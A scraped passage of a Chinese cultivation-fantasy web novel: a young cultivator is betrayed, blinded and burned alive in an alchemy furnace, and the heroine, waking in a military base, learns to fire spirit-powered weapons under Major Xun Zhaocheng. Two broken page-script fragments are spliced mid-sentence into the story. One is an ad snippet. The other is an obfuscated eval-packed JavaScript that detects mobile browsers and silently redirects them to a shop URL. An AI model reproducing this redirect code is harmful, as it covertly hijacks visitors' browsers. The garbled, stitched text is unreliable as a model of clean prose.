大众脸修士修炼这么多年,踏足了诸多秘境,不是弱者,他利用间隙,让青年的手段失效了半秒,瞬间翻盘,伤了青年一只眼睛,青年捂住眼睛,鲜血从指缝流下,一直流到手臂上,另一只眼睛都没眨一下。 其他人在争夺先天灵宝,青年和大众脸修士陷入更恐怖的死斗,招招皆是万劫不复的杀机。 青年最终拿内奸挡了大众脸修士致命一击,用近乎诡术的手段,以最微弱的一丝可能,杀死了大众脸修士,杀死了内奸,拿下了先天灵宝,完成了任务。 失去了运转 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 核心,秘境马上就要崩塌,青年脸上身上全都溅了血,受伤不轻,一只眼睛瞎了,面不改色地对仅剩的两个兵修同伴说:“撤。” 两个兵修是和他一起多次出生入死的同伴,互相都救过对方的命,他们朝青年点点头,三人化作流星,成功从旋转如风暴眼的秘境出口逃遁,就像三只飞虫飞出了一口海眼。 兵修宗主亲自接到了他们,将他们带去了太乙天都最高的峰头。 黄昏如血,就在云海边缘,被他们踩在脚下,头顶是一望无垠的星空。 他们抓出了内奸,又拿到了先天灵宝,这份大功让他们成为了最重要的座上宾。 掌门见了青年,赞叹不已,问了名字,验了灵根和修为,要收他为主峰亲传弟子。 兵修宗主拍拍青年的肩膀,恭贺他从此仙途坦达,当晚,为他举办了饯别仪式,把他在兵修宗门的玉牒还给了他。 两个兵修同伴来敬了酒,青年和他们干了,宗主兴致高,夜宴举办得很晚,他留青年过夜,他对青年有救命之恩,青年心里仅存的和过去有联系的地方,尚能感觉到恩义二字的余温。 兵修宗主大为感慨,和几个老兵修叙旧到三更,谈起自己是怎么和他们结识的,又谈起自己刚认识青年时,青年在门派里那些种种小事,对于这些兵修来说,宗主就像他们的父兄一样,最后,宗主敬了青年一杯酒,祝他进入太乙天都后,顺利证道。 “那只眼睛,太乙天都肯定有办法治好的,不用担心。”宗主安慰他。 夜深梦回,青年梦见了年少时候,在河边钓鱼,妹妹们喊他回家吃饭,父母在院子里忙活,母亲接过他的鱼篓,父亲就地拿起菜刀蹲坐下来处理鱼鳞和内脏,竹筒的引水哗啦啦浇在新鲜的鱼身上。 那只兔子满院子乱蹦跶,累了就钻到窝里吃草,被妹妹们当猫狗一样撸了一遍,四仰八叉昏昏欲睡,没见过哪家兔子这样睡相。 过于真实,就好像是另外一个现实世界。 青年在睡梦中醒了,身体动不了,他发现自己正被人扛送到一个地方,经过很高的门槛,到了一处八角形空阔大殿,非常大,窗户洞开,外面是冰冷的星空,夜雾和寒气流动进来。 青年连指尖都动不了,身体甚至元神都是麻木的,他明白他被人下了毒。 他一向对入口之物很小心,唯一没有设防的,是那杯酒。 青年睁大眼睛,失明的那只眼仁雾霾浓重,眼眶绷紧到极限,眼睛里那种睚眦欲裂,这么多年来如梦魇阴魂不散再次出现。 他们把他放下了。 脚步声接近,不止一个人,青年听到了交谈,是兵修宗主和太乙天都掌门。 兵修宗主语气还是和之前一样,十分平稳,还透出一丝特殊的尊敬,渺小生物对能轻易对自己生杀予夺存在都会这样讲话:“这是晚辈手底下最好的兵修,希望他不让星君失望。” 掌门:“看出来了,不然本座也不会一眼挑中他。” 巨大的什么东西从地面升起的声音,青年眼角余光看到一座巨大的炼丹炉,能够丢一百个人进去还绰绰有余。 炉芯被点亮,炽热明黄如熔浆一样光和热,驱散了大殿的刺骨寒意。 青年手指极其轻微地抽搐了一下。 兵修宗主走过来,弯下腰,仔细查看青年的脸庞,对他睁大的眼睛视而不见,就好像他只是一件物品。 兵修宗主:“星君,此子以前是凡人出生,最穷的是无才,最贱的是无志,他虽然出生卑贱,命格孤煞,资质却稀世罕见,意志也是晚辈平生仅见,能侍奉星君,也算是他苦尽甘来了。” 掌门轻轻嗯了一声,做了个手势。 如幽浮一样侍立在阴影中的修士,抬起青年的担架,往炼丹炉那边走去,掌门和兵修宗主也跟了过去,一个步态悠闲,一个恭敬。 光和热越来越强,视野被炉身三个圆洞占满,就像三轮生长出长长羽毛的金乌。 修士的脚步忽然顿了一下,担架变得很重,重到几乎抬不起来,他们不得不停下来,掌门轻轻嗯了一声,似乎很感兴趣似的,走了过去,看了一眼不能动的青年。 掌门:“都到这时候了,还能有这样的本事,真是十万年都遇不上的炼材。” 他甩了下袖子,很是蔼然地望着青年:“罢了,你还有什么想说的?” 青年几乎发不出声音,每个字都是嘶嘶的,但还是让人听清了:“为什么?” 这句话是问掌门,也是在问兵修宗主,或许更像他对命运的疑问总和。 对虚空发出的石沉大海的疑问。 掌门捻了捻指诀,笑说:“不为什么,因为我能。” 说完,他就转过去,和兵修宗主吩咐起了别的事,好像青年什么都不是。 那股让担架停顿的力量在掌门一个弹指下,烟消云散,其他人继续抬起青年。 等担架距离第一个圆洞不到半米时,掌门突然想起了什么:“等等。” 弟子们恭敬低头等他示下。 掌门:“星天神伶术的素胚……最后还得我来点睛,把他好的那只眼睛也摘了。” 青年全身中毒,麻木消除了痛感,一个弟子摘掉他眼睛时,他也没感觉到痛,只是视野一下子黑了下去。 接着,就是被抛到空中的短暂浮空感,热流,一开始的刹那,很温暖,紧接着就是超过痛觉感官的剧痛。 灼热,滚烫,极致的纯粹,轰爆的感觉,被光热洪流冲刷殆尽。 那是直接作用于元神的感觉,意识瞬间被打散,搅成稀粥,不复存在,就像一缕墨意融入滚水。 十年前那场大火,终于还是烧回了青年身上。 现实中,掌门注视着炼丹炉金灿灿黄橙橙耀眼灼目的洞口,笑意欣慰,青年的身躯仅仅是存在了一刹那的二十分之一,就化作丹火,大殿中星雾氤氲,炼丹炉内太乙真火展开羽毛,震天撼地,金乌地鸣,中有细细琴笛流淌的错觉。 记忆像砂砾在消散,被风吹成更细的粉墨,那些组合成眉眼的,散了,组合成最真实感受的,也散了。 长梦崩离解析,露电泡影,汹涌嗔恨井喷过后成残响,远行人如飘萍坠入黄泉。 生前执着的,轮回中再无因缘相见,善因恶果,全部清空,一张张亲人的脸,泛起无力涟漪,像水面波光破碎模糊,消散消失,那些新仇旧恨,他恨毒的仇人的脸,也被一并打乱,和温情一股脑被倒进虚空,被抹消湮灭。 也像那些在秘境中死去的兵修一样,不管多么天赋高强身怀绝技,不论生前如何极尽荣耀,受人憧憬追捧,最后身上可用之处都被榨取剥削殆尽,死得潦草敷衍,和被刀俎宰割的鱼没有区别。 鱼还有眼珠,他只有两个空空的眼窟窿。 微不足道的故事,就像一块残炭的余烬,只留冰冷。 炼丹炉哔哔钹钹,给人造成炉火温暖的错觉,里面的太乙真火在不断变化色泽,从金黄到橙红,由浅至深,最后血红一片,渐渐的,开始变浅,直到变成金刚白。 青年的元神消亡刹那,林北柔的视野一起被日珥一样舒卷的羽絮白焰吞没。 该如何去形容一个人的一生,一个普通人成为修士,依然朝生暮死的蜉蝣一生。 - 林北柔朦朦胧胧恢复了意识,眼角涌起酸热的暖流。 第一感觉是身下床铺很舒服,然后鼻子闻到了淡淡的消毒水气味,给人清洁而镇定的感觉。 她睁开眼,看到了浅灰色的天花板,吊瓶,还有很小的哔哔声,她在枕头上稍微侧过头,看到一台仪器,哔哔声是仪器发出的,屏幕上有起起伏伏的线,林北柔意识到哔哔声和她心跳同频。 脑子还晕乎乎的,身体已经不疼了,之前那种被项圈电击又被天赋反噬的双重重负,从身体由内而外消失了,她还一度以为她会死。 林北柔忽然听到书页翻动的声音,只有一下,提醒房间里不止她一个人,那声音很轻但是很近。 林北柔朝声源处转过去,角落里一把椅子上,荀少校坐在那边。 他低着头看手上一本资料,通讯终端放在旁边小桌子上,屏幕是亮起的,好像在跟什么人发消息,或者说有人一直在跟他发消息,但他没回。 林北柔刚刚才从梦境中抽离,一下子就切换到现实,太过跳跃,有点分不清哪边才是真的,情绪还没转换过来。 强烈到说不出的情绪在胸口缓慢发酵,回旋并往四肢百骸蔓延。 她刚才是用了修为,被反噬了一下,所以很巧地在幻觉中读取了司空晏的原身吗? 她想象不到,阴间祖宗的凡人前身竟然是这样的。 这么……悲惨。 他是真的死过一次,后来又是怎么重生复活的?那个炼丹炉最后是炼出了什么? 星天神伶术又是什么。 林北柔到胜身洲时,司空晏已经是太乙天都的老祖宗了。 所以那个害他的掌门和兵修宗主,显然都被他杀了,估计还被拘魂锁神,折磨到不能转世投胎。 林北柔盯着荀照乘的脸。 那张脸和青年一模一样,只不过没有烧伤毁容,也没有瞎了一只眼,气场也截然不同,如果那个在河边野钓的少年没有遭遇悲惨的命运开端,被卷入注定黑暗的宿命,等他长成青年,就会是这样的气质。 林北柔突然想起,荀照乘跟自己说过,他小时候就失去了家里人,父母和三个妹妹。 后知后觉中,一股深切的寒意沿着脊髓而下,驱散了床铺和被窝的温度。 林北柔思考变得迟钝。 荀照乘突然抬起眼眸,和她的视线对上,语气寻常随意,声音低沉有砂砾感:“你醒了,你感觉怎么样,能说话吗。” 74. 第 74 章 荀照乘在现在这个世界,小时候失去了所有家人,父母和三个妹妹,会有这么巧合的事吗。 这个时间线上,荀照乘和魏瑕二人是同时存在的。 林北柔想到了司空晏的傀儡术,他制造的傀儡,被称为神伶。 飞行器上那个假的魏瑕人偶,除了没有心跳和呼吸,其他都和真的一模一样。 荀照乘不可能是傀儡。 那他和魏瑕到底是什么关系……和司空晏又是什么关系? 唯一确定的是,荀照乘自己应该是不知情的。 但是照乘这个名字,和司空晏凡身的名字一模一样。 林北柔感觉脑细胞要烧光了,只能虚弱地回答了荀照乘的问题:“我想喝水。” 荀照乘起身给她倒了一杯水。 他走过来,把水杯放到床头柜,拿起枕头竖着摆放,让她靠在枕头上,然后把水递给她。 林北柔喝完了半杯水,喝得急,水流到了脖子上,痒痒的,她用手去摸,发现项圈已经被摘下来了,上面缠了一圈绷带,还散发出淡淡的药味。 林北柔主动挑起话头:“荀少校,对不起,我是不是给你惹麻烦了……” 荀照乘没有去角落那把椅子,而是直接坐在了她床边的椅子上:“那是他们自己挑衅你,又打不过你,你道歉什么?你不用道歉,明天照流程直接训练。” 林北柔有点傻眼,没想到事情这么容易:“他们说什么要带我去见刘将军,还要让我去禁闭室。” 荀照乘:“他们现在就在禁闭室。” 林北柔无话可说了,对荀照乘感情很复杂,一方面被他帮助照顾,还欠了这么大人情,产生了自然而然的友好亲近之意,另一方面又不知道他到底和司空晏什么关系,还沉浸在震撼冲击中。 荀照乘:“你的力量还不稳定,从现在开始,不要再使用任何力量,否则我和你都会被从禁区名单除名,你听明白了吗,林北柔。” 林北柔坐直了:“报告长官,听明白了。” 荀照乘点点头,把床边的小桌板拉了出来,摆在林北柔面前,又出去了一趟,回来时手里拿着加热好的几个锡纸保温盒,一一放在了桌板上,炸鸡薯条蛋挞,还有一杯冰可乐,连吸管都给她放在旁边了。 荀照乘:“你的晚饭,吃了休息一会就睡觉,洗漱间就在隔壁,有什么按铃叫医护,明天早上七点半,我来接你。” 林北柔什么也做不了,肚子也饿了,于是吃了一顿,无聊地发了会儿呆,过了会儿,医护过来查看她的伤势,确定无大碍,就帮她熄灯了,房间里只幽幽亮着一点夜灯,林北柔沉沉睡去。 门口响起了不大不小的敲门声,笃笃三下,林北柔急忙看了一眼电子钟时间,刚好跳到七点三十整。 “林北柔,你起来了吗?”荀照乘的声音在门外响起。 林北柔:“已经起来了!” 她跑过去打开门,荀照乘就站在门边,个子高高的,阴影罩下来,感觉把门都挡完了,他看着她说了声:“走。” 林北柔跟着他一路出了医疗室,天已经挺亮了,荀照乘带着她先去食堂吃了早饭,这次他没有让林北柔一个人留下,而是带她一起去排队,队伍里众人眼观鼻鼻观心,没有一个乱看的,等他们走远,有些人才大着胆子看向林北柔的背影。 又黑又多的长发,一身不同寻常的简洁裙装,脸上贴了创口贴,脖子上敷了药,缠了绷带。 他们昨天都知道了林北柔一打五还打赢的事,这还是她戴了消灵圈,消灵圈都亮了三格了,她还没失去意识,虽然最后昏了过去被荀少校背去医务室了。 “今天不出任务,训练完我们就去看看?”有人低声向同伴提议。 同伴正中下怀,每个人都想看全基地最强悍的特训总教官是怎么亲自带那个据说要取代莫衡的四号的。 看她是不是能达到莫衡当初的水平。 因此,人群中有的人眼神并不友善。他们是站队莫衡背后势力的。 林北柔以为荀照乘要带她去什么地方先给她来个介绍什么的,就像新生入学介绍一样。 结果荀照乘只是在路上三言两语给她捋了一遍基地究竟是个什么地方。 “基地是北落师门的总基地,北落师门有七个师,基地是培养军士输送到北落师门的。” 林北柔听周阆屿说过,北落师门是境内修行者军队的代号,有的常驻境内边疆灵脉区域,有的长期和同盟一起净化境外灵脉,对抗敌对势力。 世界上的灵脉是连通的,就像一张巨大的网,敌对势力可以通过污染境外的灵脉源头,污染境内的灵脉,因此这种隐形的战斗早已持续多年。 现世各地区心照不宣,泾渭分明,遵循“普通人打普通仗,非凡者打非凡仗”,谁也不敢破坏规矩。 否则那就是想被核打击了。 世界会被毁灭,净化灵脉也不再有意义。 “就像特种部队那样?”林北柔问。 “是,应该算‘非三栖’特种部队,我们的作战领域是灵脉区,和普通海陆空环境都不一样,有时候任务会很精确,并不需要大规模集群作战,甚至可能只出动一小组人,比如深潜任务,以后有机会再解释。” “大规模集群作战?就像我看到的记忆里那种?” “嗯,边境作战,境外敌对势力集群混合作战,敌对势力境内作战,主要是侦察、压制、干扰、打击,夺取或者摧毁任务目标等,最终目标是净化当地灵脉,获得控制权,如果我们的灵脉源头是在敌对势力境内,这种镇守是有时效限制的,最多七年,敌对势力就会破坏我们的结界,因此战斗永不停歇,不过这种情况极少。” 林北柔问了一个她特别想问但一直忘了问的问题:“敌对势力,到底是什么?那些三角黄眼面具人?” 荀照乘:“应劫派,最初的灵脉战争,就是他们挑起的,黎利塔尼河、约旦河下方的灵脉,都被他们控制了,应劫派下面有不同的组织,它不是一个单一体,最大的组织就是你说的那些人。” “那个特殊物品是什么?他们为什么想抢它?” “不知道。” 荀照乘带她经过重重权限的走廊和通道,最后抵达了一个有执勤军士看守的非常宽的大门,门上也有符文,林北柔一眼看出那是某种防御阵法,军士见到荀照乘,行了个礼,门自动移开。 荀照乘带林北柔走进去。 林北柔看到了一个室内和户外融为一体、分区特别科学的巨大立体训练场。 外面的天是高山勿忘我蓝。 天边似乎一丁点特别遥远的雪山,也可能那只是幻影,这附近可是离沙漠地带不远。 才早上八点过零五分,这儿就有不少人在训练了,不过空间广大,人都离他们挺远,各自做着自己的训练。 荀照乘一进去,就有两个负责场地的工作人员迎上来:“荀少校。” 荀照乘:“单独开个户外场地,我带她做模拟训练。” 其中一个工作人员:“是,荀少校,请稍等。” 林北柔还有点懵,荀照乘对另外一个人说:“把我的装备找一套出来。” 荀照乘带她来到放置武器的地方,那是一整排黑色金属武器架,里面放的都是各式各样的结合了现代科技的法器,样式和林北柔在魏瑕记忆中看到的一模一样。 工作人员送来了装备,一一放在长而宽的桌台上,荀照乘给林北柔介绍:“保护头盔,防风眼镜和隐形面罩,轻型防御衣,手套,护手,护膝,可以给你提供保护和隐蔽,正规作战的时候会穿更多,你必须先适应它的重量。” 林北柔在工作人员指导下,把这些都穿上了,有一点不习惯,感觉束手束脚。 荀照乘抬起手稍微调整了一下她的保护头盔,退后两步,看了一眼她头盔下散落下来几乎像件小披风的长发,在旁边储物架上找了找,找到了一盒橡皮筋,荀照乘看了看林北柔的头发,真的很密。 荀照乘和这个工作人员关系很熟,他对工作人员说:“你会编辫子吧。” 工作人员家里有两个女儿,他还真的会编辫子,还编得很不错,林北柔比他女儿大不了多少,看着年纪很小。 不过这事得征询林北柔同意,荀照乘看向林北柔:“你自己编,还是让人给你编?你的头发太长了。” 林北柔不会编辫子,她对发型没什么兴趣,于是工作人员快速给她编了个水蛇辫,不到两分钟就搞定了,为了不让她头皮不舒服,辫子开始的位置不是贴着头皮的,而是很松散,从脖子下方才开始,可见工作人员经验丰富。 林北柔站着等工作人员给她编辫子的时候,余光忽然看到他们这片区域的隔离网之外,不少人看向她,看着工作人员认真地给她编辫子,他们好像忽然就开始休息了,他们倒是没有往这边过来,只是移动到了他们所在分区的边缘,尽可能地靠近,看向她这边。 林北柔有种奇怪的感觉,那些人好像很忌惮她。 这种感觉还有点让人怀念,在胜身洲时,当她站在司空晏旁边,而不是站在他台阶下或者身后,就像其他那些傀儡一样时,那些人也是这么看她的,不过区别在于他们不敢直接抬头看。 林北柔望了一眼荀照乘,他就是凡身的司空晏。 没有那些阴暗慑人的气场,也不会让人感觉面临一千个深渊那样深不可测。 这让林北柔不由自主地想观察他。 比起司空晏后来那种炽盛到让人不敢逼视的容貌,荀照乘起码不会让人感觉到死亡压力。 不过,对普通人来说,他还是很有压迫感,特别是身高和体型,他的骨架和身形很雕塑,更接近古代北方人种,或者那些体格强壮高大的欧洲人种,哪个角度比例都像速写,这让他穿衣服时,不管是什么衣服,都完全展现衣服本该具有的风格。 比如现在,这套作训服,就算基地里的修行者军士身形都很有门槛,按照正常人眼光,荀照乘依然是最突出的那个,可能和魏瑕差不多,反正这两个人都跟司空晏脱不了关系。 林北柔又隐隐觉得太阳穴疼,甩开杂念,集中注意力。 她来这儿是为了进禁区,进了禁区,要保证她自己不死,还要保证周阆屿不死,还要完成甲方交给她的任务。 除了这些,别多想。 荀照乘从法器架上取了一把:“过来。” 他们前面有一排靶子,有固定的,有移动的,距离、速度和方向可以自由变化,由工作人员控制。 林北柔站到荀照乘面前,荀照乘手上动作稳定而流畅,只听见轻微的金属撞击声,他拉下一种类似保险栓的机关设计,整把法器就像被激活了一样,周身符文微微亮起,流光掠过,一阵灵力震荡,林北柔脸上感觉到微风。 荀照乘端起法器,以标准姿势瞄准移动靶,一发击穿红心。 旁边自动提示智能屏显示了本次射击的数据分析,林北柔看不懂细节,但能看懂这是满分成绩。 林北柔震惊:“……” 荀照乘:“关闭能量转化要推这里。” 他就这样给林北柔演示了三遍,然后把法器交给林北柔:“像这样,拿稳。” 林北柔接过,第一次上手,法器沉甸甸的,很考验她的臂力,她学着荀照乘的样子,不太熟悉地把法器端起来,末端扛在肩膀上,从瞄准镜里看事物。 荀照乘在旁边指示她调整姿势:“肩膀放松,腿分开一点,保持平衡。” 他伸手抬了下她胳膊肘,靴子侧边抵住她的鞋子,轻轻推了她一下,让她达到重心平衡状态。 林北柔发现这样一点不容易,她感觉自己特别手生。 瞄准镜有简洁精确的标线,随着她移动法器,视野居然还能自动调节,变成宽视野,或者集中在目标细节,准星十分清晰稳定,林北柔把法器对准天空,居然看清了天空中一只小黑点,那是一只掠过的鹰,林北柔能瞄准到它眼睛那么精确。 这让她产生了自己也能百发百中的错觉…… 一只大手按上她向天空举起的法器,没有用半点力气,但林北柔感觉到那力道的不容置喙,一下子让她想起司空晏。 法器被按了下去。 荀照乘:“搜索、观测和瞄准待会再学,你还不知道怎么观察弹道,怎么看标线,现在先学最基础的激活和持握武器。” 林北柔:“这个瞄准镜是智能的吗?太神奇了。” 荀照乘淡淡地说:“为了方便你训练,给你选了全数字化瞄准镜,但在禁区,杂讯干扰非常严重,你只能用传统光学瞄准镜。” 林北柔接下去开始反复练习怎么激活法器,怎么关闭法器,但并没有达到荀照乘的标准,好几次她居然激活不了,时灵时不灵的,林北柔端着法器杵在那。 幸好工作人员去另外一边了,不然被看到有点尴尬,好歹她现在顶着四号的名头。 荀照乘没有皱眉,但他就算没什么表情,林北柔也感觉到压力山大。 他的眼睛和司空晏黑魆魆的眼睛不一样,是很深的棕褐色,在阳光下甚至有一点红色调。 平时看着还是正常人的温度,但林北柔看见过他在飞行器上杀人的样子,敌方在他面前就像纸人一样被搅碎,连莫衡都打不过他。 没有任何温度,如同一台参数被调试到完美的杀人机器。 如同在胜身洲时,那个叫照乘的青年兵修,冰凉好战。 注视久了,会产生另外一种压迫感。 不行,一想到照乘,就会想到他被恩人背叛又被当炼化材料在炼丹炉里烧。太惨了。 荀照乘:“没有人教你怎么发动修为?” 林北柔回过神,这个人,不用问,肯定指魏瑕。 林北柔老老实实地说:“报告长官,没有。” 荀照乘:“没有做过修为冥想之类的?” 林北柔:“没有。”她都不知道那是什么,猜那些是类似扎马步的基础训练,她发动修为纯凭感觉,好像人打响指不需要思考一样。 荀照乘知道之前是魏瑕在带她,看了她一眼,什么都没说,指向法器上的灵能盘:“合格的激活,是要让这里至少三格完全充能,把你手指放到扳机上,瞄准二号靶。” 林北柔照做。 荀照乘:“运转修为。” 林北柔也照做。 灵能盘闪闪烁烁地亮起,最多亮起两格就衰退了。 林北柔:“……”她眼睛里是全然地困惑。 真是怪异,她可以随便发动天赋,直接作用于其他人的元神,却没办法稳定激活这种法器。 难道是法器的问题? 荀照乘好像能读到她脑子里在想什么,语气明明没有带讽刺却让林北柔觉得自己好像被嘲讽了。 “制式法器可以帮助你节省修为和灵力,提升续航作战能力,像你昨天那样任意发动天赋,到了战场上不出一个小时,修为池就会枯竭,敌人可以像屠杀普通人一样屠杀你。” “……好的,少校。” 林北柔只好继续学怎么激活。 荀照乘戴着手套,按住她手臂上的穴位,让她体验引导元神里的灵力流过这些地方,再顺指尖汇聚到法器上的感觉。 荀照乘说:“只需要一秒的二十分之一。” 他端起另外一架法器,这架法器更重更大,光是看着就让人觉得累,荀照乘却像端一架纸飞机一样,法器到了他手上,仿佛还没接触到他皮肤,就骤然流光闪现,灵能盘亮了六格。 林北柔:“……” 接下去一个小时她都在练这个。 胜身洲的灵气无比充沛,天地之间的灵能强悍到了恐怖的地步,修士们的法宝千奇百怪,加上遍地都是先天灵宝,他们并不需要这种枪械法器。 现世的灵力等级比不上胜身洲,再加上作战环境限制,修行者需要一种强大的通用类法器帮助自己增幅。 就好像那些西幻小说里巫师们总是使用魔杖一样。 林北柔还是第一次见到这种结合了现代热兵器科技的法器。 练了半天,林北柔只比最开始稍微好了一点,但还是没有达到荀照乘的标准。 荀照乘并没有不耐烦,只是抱着手臂在一边看着,平静地一遍一遍告诉她:“再来。” 林北柔肩膀和手臂开始酸痛。 她尽量表现得不受影响,但荀照乘还是捕捉到了,而且没有放过,十分不留情地指出事实:“你的体能不行。” 林北柔生怕他又要说出“在禁区,你这样就像送上去给敌人加餐”“是不是八百米体测都没过”,类似的话他刚才已经说了好几种。 偏偏他说的时候并没有出自嘲讽,而是指出事实。 某种程度上,这比司空晏那种阴阳怪气还让人受打击。 林北柔转移话题:“少校,这种武器……好像没有子弹?” 荀照乘就像设置好了程序一样,只要她的问题是和训练有关的,他就会非常详细地回答她,此外一律话特别少。 荀照乘说:“物理合金子弹,对高阶修行者没有用,修行者本人注入灵力,法器再将灵力瞬间转化加工成浓缩的‘束子’,可以击穿修行者的法力防御, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13856640|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你可以把它当做灵力子弹,目前已经开发出了上万种这样的聚能定向法器,成员组织之间有协议,对普通人不能使用,常规战场也禁用,只有在修行者战场,它才会发挥作用,尤其是禁区那种混乱的地方。” 日头渐高,阳光给远景近景涂上大片明暗,地平线很低,低到人不用抬头就能感觉到天空纵深感之强,好像无边无际的深蓝巨幕。 两个多小时过去了,林北柔终于能稳定激活法器,当荀照乘朝她微微点了一下头,林北柔心里涌起学生在老师那里补了一个月课成绩提高了20分的成就感。 ……什么破比喻,真奇怪。 林北柔肩膀酸痛,她想休息。 荀照乘不是没让她休息,但他是按训练新兵的办法训练她的,休息时间是碎片化的,最多三分钟。 林北柔怀疑他在折磨自己。 但是她听力过好,又有天赋加持,清清楚楚地听到远处路过的一个工作人员对给她编辫子的那个工作人员说悄悄话。 “……荀少校,我从来没见过他练新兵下手这么轻过,说出去都没人信。” “那人家本来也不是新兵,之前也没基础。”给你编辫子的工作人员帮你说话。 “这激活法器有那么难吗?都练了一上午了都,这就是四号啊,我看不咋地。” “该不会是靠关系吧,听说真来头特别大?跟魏瑕啥关系?” “你闭嘴。” “听说魏少将和她关系不一般,多半是女朋友,他们都说魏少将已经死了,荀少校又是魏少将兄弟,那岂不是四号是他弟媳妇?” “闭嘴!回你自己地儿去!”工作人员瞪着他同事,严厉呵斥,把他同事骂跑了。 林北柔雷了个外焦里嫩。枯燥的基地生活,越乏味单调的地方,八卦越容易长腿。 林北柔:心好累。 荀照乘的通讯终端响起,军士的通讯终端都可以挂在肩带或者腰带上,荀照乘从肩带上摘下终端接起,林北柔站得离他很近,因为刚才荀照乘一直看着她摆弄法器,一旦不对就会叫停并手把手指导,所以他们之间的距离,近到足以让她听清通讯终端里的每句话。 “荀少校,总司令官找您,让您现在立即去他办公室。” “什么事。” “抱歉,少校,我也不知道,总司令官说他要当面交代你一些事。” 林北柔竖起耳朵,这也是周阆屿告诉她的,总司令官就是元帅,是北落师门的最高指挥官。 林北柔怀疑她不小心用骊龙珠联系上的那个声音和气势特别震慑人的大领导,就是总司令官。 荀照乘放下法器,林北柔知道他要走了,控制好面部微表情,不泄露出一丝学生听到老师被校长叫走中午最后一节提前下课的暗喜。 她过于一本正经的表情一点用都没有,荀照乘看着她,就像她脑子里运转的零件和想法都是透明的,只是不作评价而已,他没有立刻就走。 林北柔看着他。 荀照乘:“你可以休息了。” 林北柔还没来得及喜上眉梢,荀照乘就又说:“五分钟。”三个字让林北柔表情半凝固。 林北柔:“……是,少校。”说话能不能不大喘气。 荀照乘拿起通讯终端,联系上一个人:“你今天上午有空?过来帮我训练林北柔,我待会回来。” 荀照乘没有马上离开,而是在原地陪林北柔等着,十分钟后,一个穿同样款式作训服的军士就皱着眉过来了,他脸上也戴着面罩,似乎刚执行完任务回来,当他走到他们面前,林北柔闻到了金属和风沙的热气。 新垣鑫眼神很不善地看了荀照乘一眼,接着转向林北柔,毕竟在车上一起颠簸了两天,还被他开了小灶,差一点被审讯人员强行注射不明物,也是他救下的,林北柔看见新垣鑫还是很亲切的,举手打了个招呼:“新垣少校。” 新垣鑫对林北柔倒是没意见,只点了点头,很简练克制地“嗯”了一声,然后问荀照乘:“训练日程是什么?” 荀照乘:“发你终端上了,你接下去教她怎么瞄准射击,跪姿立姿卧姿仰角都做一遍,时间来得及的话,可以先试着教一下负重战术走位,主要练辅助快速射击和躲避敌方射击,我过后回来。” 林北柔觉得自己脸都要皱巴起来了。 新垣鑫:“你等等。” 新垣鑫低头查看通讯终端,咕哝了一声,似乎是在不满训练安排细节,他们都是大高个,林北柔被夹在中间,看看这个,看看那个,感觉自己像个被数学老师移交给物理老师的问题学生。 新垣鑫低骂了一声:“你们是要训练神奇女侠吗?明天就练伏击和反伏击?” 荀照乘面无表情:“日程不是我定的。” 新垣鑫看向旁边悄悄把法器放回桌子上的林北柔,一言难尽:“你不让她先练7字型武器,让她直接拿冲锋型,你是想让她当狙击手还是突击手。” 林北柔根本没听他们说话,她一门心思只想减负,放下法器后,她很明显肩膀放松地塌了下来,像久坐的上班族一样揉着肩背,看起来浑不在意,根本没有其他正规选入基地的军士在新兵训练时那种压力和动力满满、严肃端正的精神面貌,完全就是个被随机发了枪的平民,看着她那条随着她东张西望的后脑勺而晃来晃去的水蛇辫,新垣鑫觉得真是够了。 同时新垣鑫也觉得意想不到,要是换其他任何一个人,甚至也是编号者候选,也像林北柔这样的态度,荀照乘早就把对方磨练到原地崩溃痛哭流涕了。 荀照乘:“她是四号,近距离自卫和进攻根本不需要那些,防御的是远距离她够不到又能打到她的敌人。” 新垣鑫:“你的假设,都建立在她成功突破境界的前提下,那你为什么不先教她突破境界,只要突破境界,她就能打开场域,在编号者的场域内,所有敌人就是肉包子,就像魏瑕那样。” 荀照乘:“我教不了,编号者要编号者教。” 新垣鑫:“……那谁来教??” 荀照乘:“魏瑕失踪了,等他回来再教吧。” 新垣鑫无言以对,觉得太阳穴隐隐涨疼,这件事就是个无解的麻烦,他们争分夺秒,很可能面临的是纯然无用功,林北柔有九成可能突破不了境界,失败无可避免。 沉默蔓延,空气变得沉重。 最后新垣鑫懒得开口,挥挥手让荀照乘先走,荀照乘过去对林北柔说:“不要偷懒,我会回来检查你的成绩,偷懒加练。” 林北柔连忙点头:“我明白了,少校。” 她以为荀照乘会离开,结果荀照乘目光望向隔网之外,声音很平但分贝用修为放大了起码三倍,跟狮吼功一样,震得林北柔耳朵刹那一阵嗡鸣:“滚过来——” 林北柔根本没反应过来发生了什么,就看到三个人影刷刷过来了。 确切说是三个穿作战服的基地军士整齐迅速地“滚”了过来,似乎他们之前一直在那边徘徊,虽然林北柔根本没注意到他们,可见他们隐蔽功夫有多好。 他们“滚”过来之后,头低得跟什么似的,压根不改抬一下眼皮,甚至看都没往林北柔那边看,老老实实站在荀照乘面前,像小鸡仔见了老鹰,也不为自己一时忍不住好奇的围观行为作任何申辩。 荀照乘对他们说话的声音和语气,和他对林北柔说话的声音语气截然不同,就像两个人,林北柔这才意识到,之前那个八卦的工作人员说的“荀少校下手从来没这么轻”是什么意思。 荀照乘连一个多余的字都没正眼给他们:“绕基地跑十圈。” 三个基地军士连一丝微表情变化都不敢有,整整齐齐地就原地转向跑出去了,比小火车还整齐。 林北柔不知道绕基地十圈什么概念,但看新垣鑫表情,这个惩罚应该挺狠的。 荀照乘看向林北柔,恢复了他对她说话时的语气:“我先走了,林北柔,好好练。” 林北柔微微一个激灵:“是,少校!” 新垣鑫:“嗯,快走,一句话你要跟她说几遍。” 荀照乘面罩上方露出的深棕带红糖色眼睛最后瞥了林北柔一眼,直接朝出口方向走了,就算是普普通通转身离开,背影也真是让人触目惊心。 